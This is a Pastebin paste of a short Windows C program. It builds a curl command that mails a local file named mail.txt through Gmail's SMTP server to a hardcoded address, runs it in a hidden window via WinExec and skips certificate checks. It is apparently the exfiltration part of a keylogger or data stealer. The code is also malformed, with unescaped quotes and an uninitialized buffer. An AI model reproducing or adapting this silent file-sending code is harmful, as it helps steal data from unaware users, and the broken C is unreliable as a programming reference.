Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <direct.h>
- #include <stdio.h>
- #include <string.h>
- int main(void){
- char current_work_dir[700];
- char clonedir[250];
- char clonedir3[250];
- strcat(clonedir3,""");
- _getcwd(current_work_dir, sizeof(current_work_dir));
- _getcwd(clonedir, sizeof(clonedir));
- strcat(clonedir3,clonedir);
- strcat(clonedir3,"\bin\Debug\mail.txt" -k --anyauth");
- printf("%s",current_work_dir);
- strcat(current_work_dir,"\curl smtp://smtp.gmail.com:587 -v --mail-from "andybelous2@gmail.com" --mail-rcpt "andybelous2@gmail.com" --ssl -u andybelous2@gmail.com:ПАСВОРД Я ПИШУ -T ");
- strcat(current_work_dir,clonedir3);
- WinExec(current_work_dir, SW_HIDE);
- Sleep(10000);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement